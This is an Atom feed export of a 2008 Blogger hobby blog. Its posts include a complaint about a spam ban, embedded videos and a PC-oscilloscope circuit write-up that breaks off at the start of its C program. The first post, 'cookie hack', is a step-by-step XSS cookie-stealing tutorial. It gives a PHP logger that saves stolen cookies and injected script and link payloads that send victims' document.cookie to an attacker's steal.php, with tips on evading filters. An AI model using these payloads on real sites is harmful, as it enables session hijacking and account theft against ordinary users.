<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3347156747676882546</id><updated>2011-11-27T15:36:50.543-08:00</updated><category term='Cellphones Hack'/><category term='Videos'/><category term='Hack'/><title type='text'>Creativz Mind</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-8168459022519276290</id><published>2008-10-11T11:49:00.000-07:00</published><updated>2008-10-11T11:50:24.477-07:00</updated><title type='text'>cookie hack</title><content type='html'>Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).&lt;br /&gt;Why is the cookie so important? Well, first you should see exactly what sort of&lt;br /&gt;information is stored in a cookie. Go to a website that requires a login, and after&lt;br /&gt;logging in erase everything in your address bar and type this line of code:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;java script:alert(document.cookie)&lt;br /&gt;&lt;br /&gt;After you press enter, you should see a pop-up window with some information in it&lt;br /&gt;(that is, if this site uses cookies). This is the data that is stored in your cookie. Here's an&lt;br /&gt;&lt;br /&gt;example of what might be in your cookie:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;username=CyberPhreak; password=ilikepie&lt;br /&gt;&lt;br /&gt;This is, of course, a very insecure cookie. If any sort of vulnerability was found that&lt;br /&gt;allowed for someone to view other people's cookies, every user account is possibly&lt;br /&gt;compromised. You'll be hard-pressed to find a site with cookies like these. However, it&lt;br /&gt;is very common (unfortunately) to find sites with hashes of passwords within the cookie.&lt;br /&gt;The reason that this is unfortunate is because hashes can be cracked, and oftentimes&lt;br /&gt;just knowing the hash is enough.&lt;br /&gt;&lt;br /&gt;Now you know why cookies are important; they usually have important information about the&lt;br /&gt;user in them. But how would we go about getting or changing other users' cookies? This is&lt;br /&gt;the process of cookiestealing.&lt;br /&gt;&lt;br /&gt;Cookiestealing is a two-part process. You need to have a script to accept the cookie, and&lt;br /&gt;you need to have a way of sending the cookie to your script. Writing the script to accept&lt;br /&gt;the cookie is the easy part, whereas finding a way to send it to your script is the hard&lt;br /&gt;part. I'll show you an example of a pHp script that accepts cookies:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;?php&lt;br /&gt;$cookie = $_GET['cookie'];&lt;br /&gt;$log = fopen("log.txt", "a");&lt;br /&gt;fwrite($log, $cookie ."\n");&lt;br /&gt;fclose($log);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;And there you have it, a simple cookiestealer. The way this script works is that it accepts&lt;br /&gt;the cookie when it is passed as a variable, in this case 'cookie' in the URL, and then&lt;br /&gt;saves it to a file called 'log.txt'. For example:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;http://yoursite.com/steal.php?cookie=&lt;br /&gt;&lt;br /&gt;steal.php is the filename of the script we just wrote, ? lets the script know that we are&lt;br /&gt;going to pass some variables to it, and after that we can set cookie equal to whatever&lt;br /&gt;we want, but what we want to do is set cookie equal to the cookie from the site. This&lt;br /&gt;is the second and harder part of the cookiestealer.&lt;br /&gt;&lt;br /&gt;Most websites apply some sort of filter to input, so that you can't directly insert your&lt;br /&gt;own code. XSS deals with finding exploits within filters, allowing you to put your own&lt;br /&gt;code into a website. This might sound difficult, and in most cases it's not easy, but&lt;br /&gt;it can be very simple.&lt;br /&gt;&lt;br /&gt;Any website that allows you to post text potentially allows you to insert your own code&lt;br /&gt;into the website. Some examples of these types of sites are forums, guestbooks, any site&lt;br /&gt;with a "member profile", etc. And any of these sites that have users who log in also&lt;br /&gt;probably use cookies. Now you know what sort of sites might be vulnerable to&lt;br /&gt;cookiestealing.&lt;br /&gt;&lt;br /&gt;Let's assume that we have a website that someone made. This website has user login&lt;br /&gt;capability as well as a guestbook. And let's also assume that this website doesn't have&lt;br /&gt;any kind of filtering on what can be put into the guestbook. This means that you can&lt;br /&gt;put HTML and Javascript directly into your post in the guestbook. I'll give you an&lt;br /&gt;example of some code that we could put into a guestbook post that would send the user's&lt;br /&gt;cookie to out script:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;script&gt;&lt;br /&gt;document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Now whenever someone views the page that you posted this on, they will be redirected to&lt;br /&gt;your script with their cookie from this site in the URL. If you were to look at log.txt&lt;br /&gt;now, you'd see the cookies of whoever looked at that page.&lt;br /&gt;&lt;br /&gt;But cookiestealing is never that easy. Let's assume now that the administrator of this&lt;br /&gt;site got smart, and decided to filter out script tags. Now you code doesn't work, so&lt;br /&gt;we have to try and evade the filter. In this instance, it's easy enough:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;a href="java script:void(document.location='http://yoursite.com/steal.php?cookie='+&lt;br /&gt;document.cookie)"&gt;Click Me&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In this case, when the user clicks on the link they will be sent to your stealer with their&lt;br /&gt;cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to get&lt;br /&gt;around filters.&lt;br /&gt;&lt;br /&gt;Credits : CyberPhreak&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-8168459022519276290?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/8168459022519276290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=8168459022519276290' title='38 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8168459022519276290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8168459022519276290'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/10/cookie-hack.html' title='cookie hack'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>38</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-3118563564413899089</id><published>2008-04-22T09:10:00.000-07:00</published><updated>2008-04-22T09:10:26.000-07:00</updated><title type='text'>Blogger Buzz: Spam Barriers</title><content type='html'>&lt;a href="http://buzz.blogger.com/2005/10/spam-barriers.html"&gt;Blogger Buzz: Spam Barriers&lt;/a&gt;: "they shouldn"&lt;br /&gt;&lt;br /&gt;I can't stand this when you are banned for a reason you didn't do&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-3118563564413899089?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://buzz.blogger.com/2005/10/spam-barriers.html' title='Blogger Buzz: Spam Barriers'/><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/3118563564413899089/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=3118563564413899089' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3118563564413899089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3118563564413899089'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/04/blogger-buzz-spam-barriers.html' title='Blogger Buzz: Spam Barriers'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-6437591182643584566</id><published>2008-04-22T08:41:00.001-07:00</published><updated>2008-04-22T08:41:11.266-07:00</updated><title type='text'>A friendly letter from Blogger</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;A friendly letter from blogger&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;----------------------------------------------------------------------------------------------------------------------&lt;br/&gt;Hello,&lt;br/&gt;&lt;br/&gt;    Your blog at: &lt;a target='_blank' href='http://s60dotsis.blogspot.com/'&gt;http://s60dotsis.blogspot.com/&lt;/a&gt; has been identified as a potential spam blog.  To correct this, please request a review by filling out the form at &lt;a target='_blank' href='http://www.blogger.com/unlock-blog.g?lockedBlogID=1048725825982374113'&gt;http://www.blogger.com/unlock-blog.g?lockedBlogID=1048725825982374113&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;    Your blog will be deleted within 20 days if it isn't reviewed, and you'll be unable to publish posts during this time. After we receive your request, we'll review your blog and unlock it within two business days. If this blog doesn't belong to you, you don't have to do anything, and any other blogs you may have won't be affected.&lt;br/&gt;&lt;br/&gt;    We find spam by using an automated classifier. Automatic spam detection is inherently fuzzy, and occasionally a blog like yours is flagged incorrectly. We sincerely apologize for this error. By using this kind of system, however, we can dedicate more storage, bandwidth, and engineering resources to bloggers like you instead of to spammers. For more information, please see Blogger Help: &lt;a target='_blank' href='http://help.blogger.com/bin/answer.py?answer=42577'&gt;http://help.blogger.com/bin/answer.py?answer=42577&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;    Thank you for your understanding and for your help with our spam-fighting efforts.&lt;br/&gt;&lt;br/&gt;    Sincerely,&lt;br/&gt;&lt;br/&gt;    The Blogger Team&lt;br/&gt;&lt;br/&gt;    P.S. Just one more reminder: Unless you request a review, you won't be able to use your blog. Click this link to request the review: &lt;a target='_blank' href='http://www.blogger.com/unlock-blog.g?lockedBlogID=1048725825982374113'&gt;http://www.blogger.com/unlock-blog.g?lockedBlogID=1048725825982374113&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;-----------------------------------------------------------------------------------------------------------------------&lt;br/&gt;&lt;br/&gt;Two of my blogs banned by blogger in the name of spamming. The fun in it is that, I didn't do any spamming. I appreciate the artificial intelligence put up by blogger. This is'nt fair. One of my blog was blocked 2 weeks before. I requested the Unlock Review. I didnt get any response yet. But instead they block one of my most popular blog which had over 1000 unique visits per day. I am writing this post well depressed. All by work for about a year! Now this is what by Blogger Dashboard look like. Will I bounce back...&lt;br/&gt;&lt;br/&gt;&lt;img width='767' height='514' src='http://i29.tinypic.com/2zqgbgw.gif' style='max-width: 800px;'/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;img width='768' height='359' src='http://i28.tinypic.com/2f0euwy.gif' style='max-width: 800px;'/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-6437591182643584566?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/6437591182643584566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=6437591182643584566' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6437591182643584566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6437591182643584566'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/04/friendly-letter-from-blogger.html' title='A friendly letter from Blogger'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i29.tinypic.com/2zqgbgw_th.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-8128595708429780974</id><published>2008-04-22T08:07:00.000-07:00</published><updated>2008-04-22T08:09:17.228-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>How is a Bomb made?</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="viddler" height="370" width="437"&gt;&lt;param name="movie" value="http://www.viddler.com/player/3bb037e2/"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;embed src="http://www.viddler.com/player/3bb037e2/" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" name="viddler" height="370" width="437"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;In this week’s extra-long installment, we explain why light is&lt;br /&gt;our #1 enemy, wax poetic about the importance of databases, and take&lt;br /&gt;you behind-the-scenes at our new podcasting table, where many&lt;br /&gt;poor-tasting beverages are freely consumed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-8128595708429780974?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/8128595708429780974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=8128595708429780974' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8128595708429780974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8128595708429780974'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/04/how-is-bomb-made.html' title='How is a Bomb made?'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-83386651988913959</id><published>2008-04-16T22:14:00.001-07:00</published><updated>2008-04-16T22:14:59.511-07:00</updated><title type='text'>Hacking Windows Xp</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;&lt;object height='350' width='425'&gt;&lt;param value='http://youtube.com/v/HIQVgqI-X9Y' name='movie'/&gt;&lt;embed height='350' width='425' type='application/x-shockwave-flash' src='http://youtube.com/v/HIQVgqI-X9Y'/&gt;&lt;/object&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-83386651988913959?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/83386651988913959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=83386651988913959' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/83386651988913959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/83386651988913959'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/04/hacking-windows-xp.html' title='Hacking Windows Xp'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-2751031303792634621</id><published>2008-03-29T06:15:00.000-07:00</published><updated>2008-03-29T06:23:35.404-07:00</updated><title type='text'>PC-BASED OSCILLOSCOPE</title><content type='html'>This circuit conditions different signals&lt;br /&gt;of frequency below 1 kHz and&lt;br /&gt;displays their waveforms on the PC’s&lt;br /&gt;screen. The hardware is used to condition&lt;br /&gt;the input waveform and convert it to the&lt;br /&gt;digital format for interfacing to the PC. The&lt;br /&gt;software for acquiring the data into the PC&lt;br /&gt;and displaying the same on its screen is&lt;br /&gt;written in Turbo C.&lt;br /&gt;The input waveform (limited to 5V&lt;br /&gt;peak-to-peak) is first applied to a full-wave&lt;br /&gt;rectifier comprising op-amps A1 and A2&lt;br /&gt;of quad op-amp LM324 (IC4) and a zerocrossing&lt;br /&gt;detector built around LM3914 dot/&lt;br /&gt;bar display driver (IC8) simultaneously.&lt;br /&gt;The full-wave rectifier rectifies the input&lt;br /&gt;signal such that the negative half cycle&lt;br /&gt;of the input signal is available in the positive&lt;br /&gt;side itself, so both the half cycles are&lt;br /&gt;read as positive when it is given as input to&lt;br /&gt;the ADC. During positive half cycle, diode&lt;br /&gt;D3 is on and diode D4 is off, and op-amps&lt;br /&gt;A1 and A2 act as inverters. Thus the output&lt;br /&gt;is a replica of the input. During the negative&lt;br /&gt;half cycle, diode D3 is off and diode D4&lt;br /&gt;is on. With R2=R3=R4=R5=R6=R=330&lt;br /&gt;ohms, the voltage (V) at output pin 1 of opamp&lt;br /&gt;A1 is related to the input voltage (Vi)&lt;br /&gt;as follows:&lt;br /&gt;Vi/R +V/(2R)+V/R=0&lt;br /&gt;V= -(2/3)Vi&lt;br /&gt;The final output voltage (Vo) at pin 7&lt;br /&gt;of op-amp A2 is given by the following&lt;br /&gt;relationship:&lt;br /&gt;Vo=(1+R/2R)(-2Vi/3)= -Vi&lt;br /&gt;As Vi is negative, the output voltage is&lt;br /&gt;positive.&lt;br /&gt;The zero-crossing detector detects&lt;br /&gt;whether the cycle is positive or negative.&lt;br /&gt;It is the most critical part of the circuit&lt;br /&gt;and if it operates improperly, the symmetry&lt;br /&gt;of the analogue signal displayed in the&lt;br /&gt;PC monitor gets affected. At the zero-crossing&lt;br /&gt;instant when the input signal transits&lt;br /&gt;to negative side, the zero-crossing detector&lt;br /&gt;informs the PC by taking pin 15 of 25-&lt;br /&gt;pin ‘D’ connector of the parallel port high.&lt;br /&gt;The input at pin 15 of ‘D’ connector goes&lt;br /&gt;low when the input signal transits to positive&lt;br /&gt;side. The zero-crossing detector communicates&lt;br /&gt;with the PC through bit D3 of&lt;br /&gt;the status port 379Hex.&lt;br /&gt;The zero-crossing detector has been&lt;br /&gt;realised using LM3914 IC. You may adjust&lt;br /&gt;VR1 such that the last LED (LED10) goes&lt;br /&gt;off when the input signal transits negative&lt;br /&gt;side of the input waveform. The LM3914&lt;br /&gt;itself rectifies the input signal and allows&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_UHT9NT6eH58/R-5Bva1wTKI/AAAAAAAADs4/XNWOg94cC9k/s1600-h/circuit.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_UHT9NT6eH58/R-5Bva1wTKI/AAAAAAAADs4/XNWOg94cC9k/s400/circuit.JPG" alt="" id="BLOGGER_PHOTO_ID_5183152504064461986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;only positive half of the cycle.&lt;br /&gt;The output from the full-wave rectifier&lt;br /&gt;is applied to the input of a sample-and-hold&lt;br /&gt;circuit comprising op-amps A3 and A4 of&lt;br /&gt;the LM324 (IC5), capacitor C3, transistor&lt;br /&gt;T1 (SL100), and analogue switch IC6&lt;br /&gt;(CD4016). This circuit samples the input&lt;br /&gt;signal, i.e. it divides the waveform into a&lt;br /&gt;number of voltages or points and inputs&lt;br /&gt;each voltage level (with a delay) to the&lt;br /&gt;ADC for conversion into the digital format.&lt;br /&gt;Op-amps A3 and A4, along with a switch&lt;br /&gt;from IC CD4016 and a 1500pF capacitor&lt;br /&gt;with sampling time of 20 μs, are used as&lt;br /&gt;voltage followers/buffers.&lt;br /&gt;When the base of transistor T1 is made&lt;br /&gt;low via strobe pin 1 (bit Do of I/O port&lt;br /&gt;37A) of 25-pin D connector of the parallel&lt;br /&gt;port, the transistor stops conducting and&lt;br /&gt;the voltage at its collector goes high. The&lt;br /&gt;high voltage at the collector of transistor&lt;br /&gt;T1 closes the switch inside CD4016. As a&lt;br /&gt;consequence, the analogue input signal is&lt;br /&gt;applied to the capacitor, which charges&lt;br /&gt;towards the signal voltage.&lt;br /&gt;When the switch is subsequently&lt;br /&gt;opened by applying a logic-high voltage&lt;br /&gt;from pin 1 of ‘D’ connector to the base of&lt;br /&gt;transistor T1, the capacitor retains the voltage&lt;br /&gt;with a loss of about 20 mV/sec and&lt;br /&gt;this voltage is given to input pin 6 of the&lt;br /&gt;ADC0804 (IC3) via buffer A4 for conversion&lt;br /&gt;to the digital format. When the number&lt;br /&gt;of sampling points in the input signal&lt;br /&gt;waveform is increased, the reconstructed&lt;br /&gt;waveform becomes more accurate.&lt;br /&gt;The ADC0804 is compatible with microprocessors.&lt;br /&gt;It is a 20-pin IC that works&lt;br /&gt;with 5V supply. It converts the analogue&lt;br /&gt;input voltage to 8-bit digital output. The&lt;br /&gt;data bus is tristate buffered. With eight&lt;br /&gt;bits, the resolution is 5V/255 = 19.6 mV.&lt;br /&gt;The inbuilt clock generator&lt;br /&gt;circuit produces a frequency of&lt;br /&gt;about 640 kHz with R1=10 kiloohms&lt;br /&gt;and C4=150 pF, which are&lt;br /&gt;the externally connected timing&lt;br /&gt;components. The conversion&lt;br /&gt;time obtained is approximately 100 μs. The&lt;br /&gt;functions of other pins are given below:&lt;br /&gt;Pin 1 (CS): This is active-low chipselect&lt;br /&gt;pin.&lt;br /&gt;Pin 2 (RD): This active-low pin enables&lt;br /&gt;the digital output buffers. When high,&lt;br /&gt;the 8-bit bus will be in Hi-Z state.&lt;br /&gt;Pin 3 (WR): This active-low pin is used&lt;br /&gt;to start the conversion.&lt;br /&gt;Pin 9 (Vref/2): This is optional input&lt;br /&gt;pin. It is used only when the input signal&lt;br /&gt;range is small. When pin 9 is at 2V, the&lt;br /&gt;range is 0-4V, i.e. twice the voltage at pin 9.&lt;br /&gt;Pin 6 (V+), Pin 7(V-): The actual input&lt;br /&gt;is the difference in voltages applied to&lt;br /&gt;these pins. The analogue input can range&lt;br /&gt;from 0 to 5V.&lt;br /&gt;In this circuit, pins 1 and 2 are always&lt;br /&gt;made low, so the IC and the buses are&lt;br /&gt;always enabled. Pin 9 is made open, as&lt;br /&gt;we use analogue input with 0-5V range.&lt;br /&gt;Pin 7 is grounded.&lt;br /&gt;Pin 5 (INTR): This active-low pin indicates&lt;br /&gt;the end of conversion. It is connected&lt;br /&gt;to pin 17 (bit D3 of I/O port 37A) of ‘D’&lt;br /&gt;connector. (Note that this bit is inverted.)&lt;br /&gt;The start-of-conversion command via&lt;br /&gt;pin 16 of ‘D’ connector is applied to pin 3&lt;br /&gt;of the ADC0804. Since we cannot read 8-&lt;br /&gt;bit digital data output from ADC through&lt;br /&gt;the 4-bit status port at a time, we divide it&lt;br /&gt;in two 4-bit parts and read. Hence the&lt;br /&gt;ADC data output is multiplexed through&lt;br /&gt;two 4-bit sections of octal buffers of IC1&lt;br /&gt;(74244) with the help of output-enable signals&lt;br /&gt;from pins 2 and 9 of ‘D’ connector to&lt;br /&gt;pins 1 and 19 (OE1 and OE2, respectively)&lt;br /&gt;of IC1. The digital data output from IC1&lt;br /&gt;is interfaced to the PC via pins 13 (S4), 12&lt;br /&gt;(S5), 10 (S6), and 11 (S7) of status input&lt;br /&gt;port 379H of ‘D’ connector.&lt;br /&gt;The circuit uses 9V and 5V regulated&lt;br /&gt;DC supply voltages as shown in the circuit&lt;br /&gt;diagram.&lt;br /&gt;A PC printer port is an inexpensive&lt;br /&gt;platform for implementing low-frequency&lt;br /&gt;data acquisition projects. Each printer port&lt;br /&gt;consists of data, status, and control port&lt;br /&gt;addresses. These addresses are in sequential&lt;br /&gt;order; for example, if the data port&lt;br /&gt;address is 0x0378, the corresponding status&lt;br /&gt;port address is 0x0379 and the&lt;br /&gt;control port address is 0x037a. The port&lt;br /&gt;addresses for parallel ports are summarised&lt;br /&gt;below:&lt;br /&gt;(EFY Lab note. For details of the parallel&lt;br /&gt;port pins, refer ‘PC-based Dial Clock&lt;br /&gt;with Timer’ project published in June 2002&lt;br /&gt;issue of EFY.)&lt;br /&gt;The software, written in C programming&lt;br /&gt;language, is user-friendly and easyto-&lt;br /&gt;understand. It gets data from the developed&lt;br /&gt;hardware circuit and displays it in&lt;br /&gt;the graphical screen with some changes.&lt;br /&gt;The C program includes two user-defined&lt;br /&gt;functions with the main function:&lt;br /&gt;graphics( ) and settings( ). The settings( )&lt;br /&gt;function is used to adjust the voltage and&lt;br /&gt;time scale. The graphics( ) function is used&lt;br /&gt;to display the waveform on the screen. The&lt;br /&gt;sample control signal is used to close the&lt;br /&gt;switch in the sample-and-hold circuit, so&lt;br /&gt;the capacitor charges towards the analogue&lt;br /&gt;input voltage. After the sampling is over,&lt;br /&gt;the switch is opened using the same signal.&lt;br /&gt;Then the start-of-conversion control signal&lt;br /&gt;is given to start the conversion. The sampling&lt;br /&gt;time is approximately 20 μs and the&lt;br /&gt;conversion time is approximately 100 μs.&lt;br /&gt;After the conversion is over, the 8-bit&lt;br /&gt;binary data for the specific voltage sample&lt;br /&gt;is available in the data bus of the ADC.&lt;br /&gt;Since the PC accepts only 4-bit data through&lt;br /&gt;the status port (379H), the 8-bit data must&lt;br /&gt;be split into two 4-bit data, which are&lt;br /&gt;accepted one after another. This is done by&lt;br /&gt;IC 74244, which is controlled by D0 and D7&lt;br /&gt;bits of the data port. Then the two 4-bit&lt;br /&gt;data are packed to get the final 8-bit data.&lt;br /&gt;The default BGI directory path is set as&lt;br /&gt;‘c:\tc\bgi’. The sampling time is decided&lt;br /&gt;by the ‘for’ loop that uses the samp value.&lt;br /&gt;The maximum delay produced should be&lt;br /&gt;greater than 20 μs, which is the maximum&lt;br /&gt;acquisition time of the capacitor. When the&lt;br /&gt;sample value is increased, the number of&lt;br /&gt;points on the input signal decreases and&lt;br /&gt;therefore the accuracy decreases. The time&lt;br /&gt;scale may be calibrated with 50Hz sine&lt;br /&gt;wave as reference.&lt;br /&gt;Note. Mount a 25-pin D-type female&lt;br /&gt;connector on the PCB. Use 25-pin ‘D’ maleto-&lt;br /&gt;male connector for connecting PCB to&lt;br /&gt;computer’s female 25-pin LPT port ‘D’ connector.&lt;br /&gt;It is a demo PC based oscilloscope&lt;br /&gt;only and may not be suitable for real time&lt;br /&gt;application.&lt;br /&gt;Printer Data port Status port Control port&lt;br /&gt;LPT1 0x0378 0x0379 0x037a&lt;br /&gt;LPT2 0x0278 0x0279 0x027a&lt;br /&gt;LPT3 0x03bc 0x03bd 0x03be&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PARTS LIST&lt;br /&gt;Semiconductors:&lt;br /&gt;IC1 - 74244&lt;br /&gt;IC2 - 7805&lt;br /&gt;IC3 - ADC 0804&lt;br /&gt;IC4, IC5 - LM324&lt;br /&gt;IC7 - CD4016&lt;br /&gt;IC8 - LM3914&lt;br /&gt;T1 - Transistor SL100&lt;br /&gt;D1-D4 - 1N4001 switching diode&lt;br /&gt;L1-L10 - Red LED&lt;br /&gt;Resistors (all ¼-watt, ±5% carbon,&lt;br /&gt;unless stated otherwise):&lt;br /&gt;R1 - 10kilo-ohm&lt;br /&gt;R2-R6 - 330-ohm&lt;br /&gt;R7 - 1Mega-ohm&lt;br /&gt;R8-R17 - 470-ohm&lt;br /&gt;R18 - 1kilo-ohm&lt;br /&gt;R19 - 10kilo-ohm/1watt&lt;br /&gt;VR1, VR2 - 10kilo-ohm Preset&lt;br /&gt;Capacitors:&lt;br /&gt;C1 - 1000μF, 25V electrolytic&lt;br /&gt;C2 - 0.1μF, ceramic&lt;br /&gt;C3 - 1500PF, ceramic&lt;br /&gt;C4 - 150PF, ceramic&lt;br /&gt;Miscellaneous:&lt;br /&gt;25 PIN D-Connector Female&lt;br /&gt;2 PIN SIP CONNECTOR&lt;br /&gt;PCB&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;PROGRAM IN ‘C’ FOR PC 